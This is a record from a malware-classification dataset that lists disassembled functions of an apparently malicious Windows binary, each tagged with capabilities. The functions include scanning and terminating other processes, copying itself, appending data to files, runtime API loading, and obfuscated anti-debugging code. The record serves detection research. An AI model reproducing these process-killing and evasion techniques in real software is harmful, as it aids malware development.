joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401000
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 0x10]
push ebx
push esi
xor esi, esi
push edi
xor ebx, ebx
mov dword [ebp - 0x14], esi
mov dword [ebp - 8], esi
mov dword [ebp - 0x10], eax
cmp esi, dword [ebp + 0x10]
jge 0x401191
mov eax, dword [ebp - 0x10]
push 3
pop edx
cmp eax, edx
mov dword [ebp - 0xc], edx
jge 0x401032
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
mov eax, 0x3d3d3d3d
lea edi, [ebp - 4]
stosw word es:[edi], ax
test ecx, ecx
stosb byte es:[edi], al
jle 0x401059
mov eax, dword [ebp + 8]
lea edi, [ebp - 4]
add esi, eax
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, edx
rep movsb byte es:[edi], byte [esi]
mov cl, byte [ebp - 4]
mov al, cl
shr al, 2
test ebx, ebx
mov byte [ebp - 1], al
je 0x40108e
mov edi, dword [ebp + 0x14]
test edi, edi
jle 0x401096
mov eax, ebx
mov esi, dword [ebp + 0xc]
sub eax, dword [ebp - 8]
cdq
idiv edi
test edx, edx
jne 0x401099
mov byte [ebx + esi], 0xd
inc ebx
mov byte [ebx + esi], 0xa
inc ebx
add dword [ebp - 8], 2
jmp 0x401099
mov esi, dword [ebp + 0xc]
mov edi, dword [ebp + 0x14]
jmp 0x401099
mov esi, dword [ebp + 0xc]
movzx eax, byte [ebp - 1]
mov edx, dword [str._v__Kk]
and cl, 3
shl cl, 4
mov al, byte [eax + edx]
mov byte [ebx + esi], al
mov al, byte [ebp - 3]
mov dl, al
inc ebx
shr dl, 4
add cl, dl
test ebx, ebx
je 0x4010df
test edi, edi
jle 0x4010df
mov eax, ebx
sub eax, dword [ebp - 8]
cdq
idiv edi
test edx, edx
jne 0x4010dc
mov byte [ebx + esi], 0xd
inc ebx
mov byte [ebx + esi], 0xa
inc ebx
add dword [ebp - 8], 2
mov al, byte [ebp - 3]
mov edx, dword [str._v__Kk]
and al, 0xf
movzx ecx, cl
shl al, 2
mov cl, byte [ecx + edx]
mov byte [ebx + esi], cl
mov cl, byte [ebp - 2]
mov dl, cl
inc ebx
shr dl, 6
add al, dl
test ebx, ebx
mov byte [ebp - 1], al
je 0x401123
test edi, edi
jle 0x401123
mov eax, ebx
sub eax, dword [ebp - 8]
cdq
idiv edi
test edx, edx
jne 0x401123
mov byte [ebx + esi], 0xd
inc ebx
mov byte [ebx + esi], 0xa
inc ebx
add dword [ebp - 8], 2
movzx eax, byte [ebp - 1]
mov edx, dword [str._v__Kk]
mov al, byte [eax + edx]
mov byte [ebx + esi], al
inc ebx
cmp dword [ebp - 0xc], 2
jg 0x40113f
mov byte [ebx + esi - 1], 0x3d
and cl, 0x3f
test ebx, ebx
je 0x401164
test edi, edi
jle 0x401164
mov eax, ebx
sub eax, dword [ebp - 8]
cdq
idiv edi
test edx, edx
jne 0x401164
mov byte [ebx + esi], 0xd
inc ebx
mov byte [ebx + esi], 0xa
inc ebx
add dword [ebp - 8], 2
movzx eax, cl
mov ecx, dword [str._v__Kk]
mov al, byte [eax + ecx]
mov byte [ebx + esi], al
inc ebx
cmp dword [ebp - 0xc], 1
jg 0x40117f
mov byte [ebx + esi - 1], 0x3d
mov esi, dword [ebp - 0x14]
add esi, 3
sub dword [ebp - 0x10], 3
mov dword [ebp - 0x14], esi
jmp 0x401019
pop edi
mov eax, ebx
pop esi
pop ebx
leave
ret
Function at 0x4013fa
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x444
push ebx
push 0x40e0c0
call fcn.00407460
xor ebx, ebx
mov dword [esp], str.I_I9Hi
push ebx
mov dword [ebp - 0x14], eax
call fcn.004052d3
push ebx
push 0x40fba1
call fcn.00403464
add esp, 0x10
mov dword [ebp - 4], eax
lea eax, [ebp - 0x444]
push 0x104
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push dword [ebp + 8]
mov dword [ebp - 0x340], 0x224
push 8
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
lea ecx, [ebp - 0x340]
mov dword [ebp - 0x18], eax
push ecx
push eax
call sub.KERNEL32.dll_Module32First
test eax, eax
je 0x4015ef
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x11c]
push eax
call fcn.00407370
lea eax, [ebp - 0x11c]
push eax
lea eax, [ebp - 0x444]
push eax
call fcn.0040c540
add esp, 0x10
test eax, eax
je 0x4015ef
push dword [ebp - 0x338]
push ebx
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
cmp eax, ebx
mov dword [ebp - 0xc], eax
je 0x4015ef
push esi
mov esi, 0x80000
push edi
push esi
mov edi, 0x411970
push ebx
push edi
call fcn.00407310
mov eax, dword [ebp - 0x328]
add esp, 0xc
cmp eax, esi
jb 0x4014e1
mov eax, esi
cmp dword [ebp + 0xc], ebx
mov dword [ebp - 8], ebx
jne 0x401506
lea ecx, [ebp - 8]
push ecx
push eax
push edi
push dword [ebp - 0x32c]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x4015e1
cmp dword [ebp - 4], ebx
mov dword [ebp + 8], ebx
jbe 0x4015e1
push dword [ebp + 8]
push 0x40fba1
call fcn.00403434
push eax
mov dword [ebp - 0x10], eax
call fcn.00407460
xor esi, esi
add esp, 0xc
cmp dword [ebp + 0xc], esi
mov ebx, eax
je 0x40153c
lea eax, [ebx + 0x6e]
mov dword [ebp - 8], eax
jmp 0x40153f
mov eax, dword [ebp - 8]
sub eax, ebx
sub eax, 0xa
je 0x4015d2
push dword [ebp - 0x14]
lea edi, [esi + 0x411970]
push edi
push 0x40e0c0
call fcn.0040c490
add esp, 0xc
test eax, eax
je 0x4015cb
cmp dword [ebp + 0xc], 0
jne 0x40158b
push ebx
push edi
push dword [ebp - 0x10]
call fcn.0040c490
add esp, 0xc
test eax, eax
je 0x40158b
mov eax, dword [ebp - 8]
inc esi
sub eax, ebx
sub eax, 0xa
cmp esi, eax
jb 0x40154a
jmp 0x4015d2
push 0
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
push 0x40fdcc
call fcn.00403434
push eax
lea eax, [ebp - 0x11c]
push eax
call fcn.00403b7d
add esp, 0x10
test eax, eax
jne 0x4015cb
lea eax, [ebp - 0x11c]
push eax
call fcn.00403dfa
pop ecx
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp + 8], eax
inc dword [ebp + 8]
mov eax, dword [ebp + 8]
cmp eax, dword [ebp - 4]
jb 0x401512
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
pop ebx
pop edi
pop esi
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
pop ebx
leave
ret 8
Function at 0x4050c1
Capabilities:
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14c
push ebx
push esi
push edi
push 3
pop edi
lea ecx, [ebp - 0x2c]
call fcn.0040174b
push dword [ebp + 0x10]
call fcn.00407460
mov esi, eax
pop ecx
lea eax, [ebp - 0x14]
add esi, 0x20
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
and word [ebp - 0x12], 0xfffe
xor ebx, ebx
push ebx
call fcn.00404687
pop ecx
xor edx, edx
push 0x1e
pop ecx
div ecx
sub word [ebp - 0xa], dx
cmp word [ebp - 0xa], 0x3c
jb 0x405117
mov word [ebp - 0xa], 1
mov al, byte [ebp - 0xa]
mov ecx, dword [ebp - 0xc]
and eax, 0x3f
shl ecx, 6
or eax, ecx
mov cl, byte [ebp - 8]
shr cl, 1
shl eax, 5
and ecx, 0x1f
or eax, ecx
mov cl, byte [ebp - 2]
mov word [ebp - 4], ax
mov eax, dword [ebp - 0x14]
add eax, 0x44
and ecx, 0x1f
shl eax, 9
xor eax, ecx
mov cl, byte [ebp - 0x12]
and ecx, 0xf
and ax, 0xfe1f
shl ecx, 5
or eax, ecx
mov cl, byte [ebp - 0xe]
mov word [ebp - 2], ax
xor cl, byte [ebp - 2]
and ecx, 0x1f
xor ax, cx
cmp dword [ebp + 0x14], ebx
mov word [ebp - 2], ax
je 0x405172
push 2
pop edi
push 0x20
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push ebx
push 0x20
push edi
push ebx
push 3
push 0xc0000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp + 8], eax
jne 0x4051a1
xor eax, eax
jmp 0x4052af
push 2
push ebx
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea eax, [ebp - 0x18]
push 1
push eax
lea ecx, [ebp - 0x2c]
push dword [ebp + 0xc]
call fcn.0040174e
cmp eax, ebx
mov dword [ebp + 0xc], eax
je 0x4052a4
mov eax, dword [ebp - 0x18]
mov byte [ebp - 0x14a], 0x74
push eax
mov word [ebp - 0x149], 0x8000
push dword [ebp + 0xc]
mov word [ebp - 0x147], si
mov dword [ebp - 0x145], eax
mov dword [ebp - 0x141], eax
mov byte [ebp - 0x13d], bl
call fcn.00405059
push dword [ebp + 0x10]
mov dword [ebp - 0x13c], eax
mov eax, dword [ebp - 4]
mov byte [ebp - 0x134], 0x14
mov dword [ebp - 0x138], eax
mov byte [ebp - 0x133], 0x30
call fcn.00407460
push dword [ebp + 0x10]
mov word [ebp - 0x132], ax
lea eax, [ebp - 0x12c]
mov dword [ebp - 0x130], ebx
push eax
call fcn.00407370
movzx edi, si
lea eax, [edi - 2]
push eax
lea eax, [ebp - 0x14a]
push eax
call fcn.00405059
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
add esp, 0x1c
cmp dword [ebp + 0x14], ebx
mov word [ebp - 0x14c], ax
je 0x405277
lea eax, [ebp - 0x1c]
push ebx
push eax
push 0x14
push str.:_t8_r
push dword [ebp + 8]
call esi
lea eax, [ebp - 0x1c]
push ebx
push eax
lea eax, [ebp - 0x14c]
push edi
push eax
push dword [ebp + 8]
call esi
lea eax, [ebp - 0x1c]
push ebx
push eax
push dword [ebp - 0x18]
push dword [ebp + 0xc]
push dword [ebp + 8]
call esi
lea ecx, [ebp - 0x2c]
call fcn.00401808
push 1
pop ebx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4053ac
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x94
push ebx
push esi
push edi
push 1
pop ebx
push ebx
call fcn.00404687
mov esi, 0x104
xor edi, edi
push esi
push edi
push 0x491d84
call fcn.00407310
push esi
push edi
push 0x491c80
call fcn.00407310
push esi
push edi
push 0x491b7c
call fcn.00407310
push esi
push edi
push 0x491a78
call fcn.00407310
push esi
push edi
push 0x491974
call fcn.00407310
add esp, 0x40
push 0x40e0d0
push 0x1eac
push 0x40e0d4
call fcn.00403529
push 0x491e90
call fcn.00402642
add esp, 0x10
call dword [sym.imp.KERNEL32.dll_GetVersion]
and eax, 0x80000000
mov dword [0x491e98], edi
mov dword [0x491e88], eax
lea eax, [ebp - 0x94]
push eax
mov dword [ebp - 0x94], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x90], 5
jne 0x40546c
cmp dword [ebp - 0x8c], ebx
jne 0x40546c
mov dword [0x491e98], ebx
call fcn.004048cb
mov esi, 0x7d000
push esi
call fcn.00407baf
cmp eax, edi
pop ecx
mov dword [0x491970], eax
jne 0x40548a
xor eax, eax
jmp 0x4054ae
push esi
push edi
push eax
call fcn.00407310
call fcn.0040556c
push ebx
push str.I_I9Hi
call fcn.00403434
push eax
push edi
call fcn.004052d3
add esp, 0x1c
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40556c
Capabilities:
Link many functions at runtime

Disassembly:
push ebx
push ebp
push esi
push edi
push 2
push 0x40fb6f
call fcn.00403434
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
pop ecx
pop ecx
push eax
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebp, eax
test ebp, ebp
mov edi, 0x40fc6f
je 0x4055d1
push 1
push edi
call fcn.00403434
pop ecx
pop ecx
push eax
push ebp
call esi
push 4
push edi
mov dword [0x491ea0], eax
call fcn.00403434
pop ecx
pop ecx
push eax
push ebp
call esi
push 5
push edi
mov dword [0x491e9c], eax
call fcn.00403434
pop ecx
pop ecx
push eax
push ebp
call esi
mov dword [0x491ea4], eax
push 3
push 0x40fb6f
call fcn.00403434
pop ecx
pop ecx
push eax
call ebx
mov ebp, eax
test ebp, ebp
je 0x4055fb
push 3
push edi
call fcn.00403434
pop ecx
pop ecx
push eax
push ebp
call esi
mov dword [0x491ea8], eax
mov edi, 0x40fda4
push edi
call ebx
mov ebx, eax
test ebx, ebx
je 0x40561c
push 1
push edi
call fcn.00403434
pop ecx
pop ecx
push eax
push ebx
call esi
mov dword [0x491eac], eax
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x406a68
Capabilities:
Copy file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x21d4
call fcn.00407b80
mov eax, dword [ebp + 0x10]
push ebx
push esi
mov esi, dword [ebp + 0xc]
xor ebx, ebx
push edi
cmp dword [ebp + 0x14], ebx
mov dword [ebp - 4], esi
mov dword [ebp - 8], eax
jne 0x406a9c
push dword [ebp + 8]
call fcn.004046f6
test eax, eax
pop ecx
jne 0x406bda
mov edi, str._IXH
push ebx
push edi
call fcn.00403464
pop ecx
cmp esi, ebx
pop ecx
mov dword [ebp + 0xc], eax
jge 0x406ac0
push ebx
call fcn.00404687
xor edx, edx
pop ecx
div dword [ebp + 0xc]
mov dword [ebp - 4], edx
mov esi, 0x40f1dc
push ebx
push esi
call fcn.00403464
cmp dword [ebp + 0x10], ebx
pop ecx
pop ecx
mov dword [ebp + 0xc], eax
jge 0x406ae5
push ebx
call fcn.00404687
xor edx, edx
pop ecx
div dword [ebp + 0xc]
mov dword [ebp - 8], edx
lea eax, [ebp - 0x10c]
push eax
call fcn.00403d8c
lea eax, [ebp - 0x314]
mov dword [esp], 0x104
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x10c]
push ebx
push eax
lea eax, [ebp - 0x314]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x406bda
lea eax, [ebp - 0x10c]
push 0x20
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x1ec0
lea eax, [ebp - 0x21d4]
push 0x40e0c0
push eax
call fcn.00407820
lea eax, [ebp - 0x21d4]
mov byte [ebp - 0x11c0], bl
push eax
lea eax, [ebp - 0x10c]
push eax
call fcn.004054b3
push ebx
call fcn.00404687
xor edx, edx
mov ecx, 0x2800
div ecx
lea eax, [ebp - 0x10c]
add edx, 0x13200
push edx
push eax
call fcn.00403f63
push dword [ebp - 4]
push edi
call fcn.00403434
push eax
lea eax, [ebp - 0x210]
push eax
call fcn.00407370
push dword [ebp - 8]
push esi
call fcn.00403434
push eax
lea eax, [ebp - 0x210]
push eax
call fcn.00407380
add esp, 0x40
lea eax, [ebp - 0x210]
push dword [ebp + 0x14]
push eax
lea eax, [ebp - 0x10c]
push eax
push dword [ebp + 8]
call fcn.004050c1
lea eax, [ebp - 0x10c]
push eax
call fcn.00403dfa
add esp, 0x14
pop edi
pop esi
pop ebx
leave
ret

Function at 0x406d75
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 1
pop ebx
push 0x927c0
call edi
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov ax, word [ebp - 0x12]
test bl, al
je 0x406d87
cmp word [ebp - 0xe], 6
jne 0x406d87
and dword [0x491e94], 0
cmp ax, 7
mov dword [0x491e98], ebx
jne 0x406dc0
mov dword [0x491e94], ebx
cmp ax, bx
jne 0x406dcb
mov dword [0x491e94], ebx
xor esi, esi
lea eax, [ebp - 4]
push eax
push 0
push esi
push 0x406d1c
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
inc esi
cmp esi, 0x1a
jl 0x406dcd
push 0x1b7740
call edi
call fcn.00406d5e
push 0xffffffffffffffff
call edi
jmp 0x406d87
Function at 0x586477
Capabilities:
Encrypt data using aes

Disassembly:
mov word [esp + 4], bx
mov word [esp + 4], dx
jmp 0x586493
jmp 0x58645d
jle 0x5587e6
lea ebx, [esi + edi]
sub esp, 6
and cl, bh
lea esp, [esp + 2]
jmp 0x5864af
lea esp, [esp + 8]
cmp eax, 1
jmp 0x586479

Function at 0x58680f
Capabilities:
Encrypt data using aes

Disassembly:
pop word [esp]
lea esp, [esp + 2]
jmp 0x586869
lea esp, [esp + 0xc]
xor edi, dword [edx*4 + reloc.WINMM.dll_midiStreamOpen]
lea edx, [eax - 0x21]
mov edx, dword [esi + 8]
call fcn.00586853
pushal
mov al, ah
mov dword [esp], edx
call fcn.00586bde
das
mov ah, 0x2a
dec ebp
mov esp, 0x31a13b0d
push eax
mov dword [reloc.WINMM.dll_midiStreamOpen], eax
add al, 0x52
mov ebx, dword [ebx*4 + reloc.WINMM.dll_midiStreamOpen]
jmp 0x58687f

Function at 0x586a92
Capabilities:
Encrypt data using aes

Disassembly:
lea esp, [esp + 2]
jmp 0x586ae2
lea esp, [esp + 1]
pushal
pop dword [esp + 0x15]
lea esp, [esp + 3]
jmp 0x586ac9
push ecx
mov ecx, esi
lea ecx, [ecx + 8]
jmp 0x586b45
lea esp, [esp + 0x40]
xor edi, dword [edx*4 + reloc.WINMM.dll_midiStreamOpen]
lea edx, [ebx + ebx]
mov edx, dword [esi + 0xc]
push esp
jmp 0x586a98
mov edi, edx
call fcn.00586b25
mov ebx, dword [ebx*4 + reloc.WINMM.dll_midiStreamOpen]
push esp
mov di, word [esp + 2]
stc
push edx
jmp 0x586af6
mov dword [ecx], edi
pop ecx
mov edi, 0xac771bd8
bswap edi
cmc
jmp 0x586b14

Function at 0x586afd
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
pop word [esp + 1]
lea esp, [esp + 2]
jmp 0x586b2e

Function at 0x586c45
Capabilities:
Encrypt data using aes

Disassembly:
lea esp, [esp + 0x14]
xor edi, dword [ebx*4 + reloc.WINMM.dll_midiStreamOpen]
jmp 0x586c8b
and edx, ecx
jmp 0x586c74
lea esp, [esp + 0x10]
xor edi, dword [edx*4 + reloc.WINMM.dll_midiStreamOpen]
call fcn.00586ce0
jns 0x586c77
adc byte [ebx], dh
cmp al, 0x95
aam 0x3a
push esi
add al, ch
pop esp
add byte [eax], al
add byte [ecx - 0xf], bh
popal
add bl, dh
aaa
jo 0x586cec
pushal
lea esp, [esp + 0xd]
pop word [esp + 0xc]
cmc
lea esp, [esp + 1]
jmp 0x586c52
lea esp, [esp + 1]
dec dword [ebp - 4]
call fcn.00586cc4
invalid
jmp 0x586cb7

Function at 0x586cc4
Capabilities:
Encrypt data using aes

Disassembly:
mov dword [esi + 0xc], edi
push esp
jmp 0x586d04
lea esp, [esp + 8]
jne 0x558855
je 0x5587e6
Function at 0x68e4b1
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov edi, 0xd40fb564
cpuid
bswap ebp
mov byte [esp + 5], bh
mov esi, ebp
rcl cx, cl
jmp 0x68e4c0
push dword [esp + 8]
mov ebx, esi
rdtsc
neg dx
bswap edi
jmp 0x68e48f
xchg word [esp + 0xa], si
push esp
pop dword [esp + 5]
mov byte [esp + 1], dh
clc
jmp 0x68e51d
mov ah, byte [esp]
sub bl, ah
clc
sete ch
sub esp, 0
ror edi, 0x15
jmp 0x68e547
mov si, 0x6073
mov byte [esp], bh
sub esp, 0
mov ebp, 0xfe0a2c7a
jmp 0x68e4f0
xchg word [esp], si
setle dh
add esp, 0xb
add esp, 5
and cl, bh
xchg byte [esp], al
jmp 0x68e506
inc bx
xchg ah, bl
rdtsc
bswap ebp
btc ecx, ebx
sub esp, 4
jmp 0x68e55f
mov ebp, dword [esp]
rcr ah, 1
mov eax, dword [esp]
lea ebx, [ebp*4]
mov si, word [esp]
lea ebx, [esp + ebx]
jmp 0x68e531
xchg dh, al
lea edx, [ebx*4]
btc ecx, edi
neg ax
jmp 0x68e62b
xchg word [esp + 1], dx
lea esp, [esp + 3]
xchg byte [esp], dl
bswap ebx
lea esi, reloc.WINMM.dll_midiStreamOpen
neg dx
jmp 0x68e60a
add esp, 0
rdtsc
add esp, 1
lea ebp, [edx + esi]
mov esi, 0x5cc7313c
sub esp, 0
jmp 0x68e588
xchg dword [esp], edx
setp ch
rcr edx, 0xf
xchg dword [esp], esi
xchg dx, bp
rdtsc
jmp 0x68e5a6
shr esi, 5
stc
mov word [esp], sp
xchg bx, di
rcl bx, cl
mov cl, 0xaa
jmp 0x68e7f7
xchg byte [esp], al
mov cx, 0xb941
xchg cx, bp
lea edx, [ecx + 0x6b]
add esp, 3
not ah
jmp 0x68e5d7
xchg word [esp], si
mov bl, bh
cpuid
mov di, 0xc19d
btr edx, edx
push word [esp]
jmp 0x68e5f2
push dword [esp + 3]
mov byte [esp + 1], dh
push esp
mov al, ah
pop dx
pop dword [esp]
jmp 0x68e5c4
lea eax, [esp + edx]
mov bp, sp
setne ch
mov bl, bh
mov dl, 0xcc
cpuid
jmp 0x68e66f
push esp
xor ecx, esi
dec ecx
jmp 0x68e6d1
sti
mov esi, dword [esp]
mov ebx, dword [esp]
cpuid
bswap edx
jmp 0x68e63d
into
push edx
not ebp
pop edi
lea ebx, [ecx*4]
xchg dx, ax
stc
jmp 0x68e6d4
push dword [esp + 3]
lea ebp, [ecx*4]
call fcn.0068e68c
neg eax
mov cx, bx
lea edi, reloc.WINMM.dll_midiStreamOpen
mov ecx, 0x25c13cbb
neg esi
rdtsc
call fcn.0068e756
in al, dx
insb byte es:[edi], dx
loop 0x68e650
je 0x68e662
cli
jns 0x68e6b9
mov byte [ebx - 0x65], bh
jnp 0x68e66e
fmul dword [ebp + reloc.WINMM.dll_midiStreamOpen]
add byte [eax], al
lea edi, [edi*4]
mov edi, 0xccbc2638
lea eax, reloc.WINMM.dll_midiStreamOpen
mov cx, sp
jmp 0x68e6b3
bswap ecx
xchg ah, bl
xchg word [esp + 8], bx
xchg byte [esp + 6], dl
mov byte [esp + 0x15], ah
xchg byte [esp + 4], cl
jmp 0x68e6a3
rdtsc
rdtsc
mov si, word [esp]
add esp, 1
mov byte [esp], ah
sub esp, 0x1a
jmp 0x68e6f0
mov word [esp], bx
xchg word [esp], di
mov dx, 0xf303
cmc
xchg dh, al
mov ebp, ecx
jmp 0x68e7bb

Function at 0x68e756
Capabilities:
Execute anti-debugging instructions

Disassembly:
not ah
lea esp, [esp + 9]
rdtsc
add esp, 6
pop eax
call fcn.0068e707
sbb al, 0x98
push cs
imul ebx, dword [eax - reloc.WINMM.dll_midiStreamOpen], 0x4486c9fe
and al, 2
xchg byte [esp + 2], al
pop ebx
mov bp, 0xb581
sub esp, 0x1a
rdtsc
cld
jmp 0x68e71e
mov dword [esp], ecx
jmp 0x68e73a
Function at 0x68ea84
Capabilities:
Execute anti-debugging instructions

Disassembly:
btr ebx, esp
mov dh, byte [esp + 0xf]
mov byte [esp + 0xd], ch
mov edx, eax
bswap esi
bswap edi
jmp 0x68eaba
lea edi, [esp + ebx]
jmp 0x68ea63
xchg edi, eax
pop edi
push dword [esp + 0x10]
xchg word [esp + 0x19], bx
cpuid
sub esp, 0x1c
jmp 0x68eb9e
mov edi, dword [esp + 7]
mov dl, dh
xchg dx, ax
mov dword [esp + 0x27], eax
mov edi, dword [esp + 0xd]
jmp 0x68ea89
inc ecx
bsf di, ax
xor edi, esi
btr ebp, edx
sub esp, 0x1e
lea esi, [ecx + 0x8b]
jmp 0x68eaa3
neg ebp
bswap edi
mov bl, bh
bsf si, ax
mov dl, byte [esp]
not edi
jmp 0x68eb6c
bsr si, bp
mov di, sp
mov dl, 0xc4
bsf cx, ax
mov cl, byte [esp]
mov ebx, dword [esp]
jmp 0x68eacf
xchg ch, dl
mov cl, byte [esp]
xor si, 0x981c
cmc
pushal
push esp
jmp 0x68eb46
mov ebp, eax
mov bl, bh
mov si, sp
cpuid
mov di, word [esp]
bswap edi
jmp 0x68eafb
bswap edx
lea ecx, [edx*4]
xchg ebp, esi
mov cx, word [esp]
not cx
xchg ch, dl
jmp 0x68eb12
neg bx
push dword [esp + 0x22]
mov cx, word [esp + 0x1c]
mov edx, eax
lea eax, [edi + ebp]
bswap eax
jmp 0x68eb81
shr edx, 5
neg ch
lea ebp, [eax*4]
mov bl, 8
rcr dh, 7
mov cl, ch
jmp 0x68eb30
push edx
bsf si, ax
mov bl, bh
sete ch
mov ebp, eax
pop dx
jmp 0x68ebce
lea esp, [esp + 0x4e]
lea ecx, [edx + edx]
rol bp, cl
mov dl, 0xec
rdtsc
mov bp, word [esp]
jmp 0x68eae6
add esp, 0x24
mov eax, esi
pop word [esp + 0x12]
xchg byte [esp + 8], al
lea edi, [ecx + edi]
jmp 0x68ebe2
pop cx
lea esp, [esp + 0x15]
pushal
sub esp, 0xc
mov byte [esp + 0x35], dh
bsr cx, cx
jmp 0x68ebb5
lea edi, [edx + ebx]
inc al
setne ah
neg bx
inc cx
push dword [esp + 0x12]
jmp 0x68ec24
mov ecx, 0x8e3ff608
mov ah, byte [esp + 9]
lea eax, reloc.WINMM.dll_midiStreamOpen
cpuid
jmp 0x68ec4a
lea ecx, [esp + edi]
mov word [esp + 2], sp
xchg dword [esp + 9], eax
mov dx, word [esp + 3]
add esp, 0x10
xchg si, bx
jmp 0x68ec0d

Function at 0x68efb9
Capabilities:
Execute anti-debugging instructions

Disassembly:
rdtsc
mov ch, byte [esp + 7]
mov word [esp + 0xa], sp
inc dx
lea esi, [esp + ecx]
push edx
jmp 0x68efc3
mov dword [esp + 7], eax
rdtsc
mov ebp, esi
jmp 0x68ef95
push word [esp + 7]
mov bl, bh
bswap ecx
setne bh
mov word [esp + 4], sp
jmp 0x68f02d
pop dword [esp + 0xb]
mov bx, 0x9b41
push dword [esp + 0x10]
pop cx
xchg edi, ebp
xchg ebx, esi
jmp 0x68f015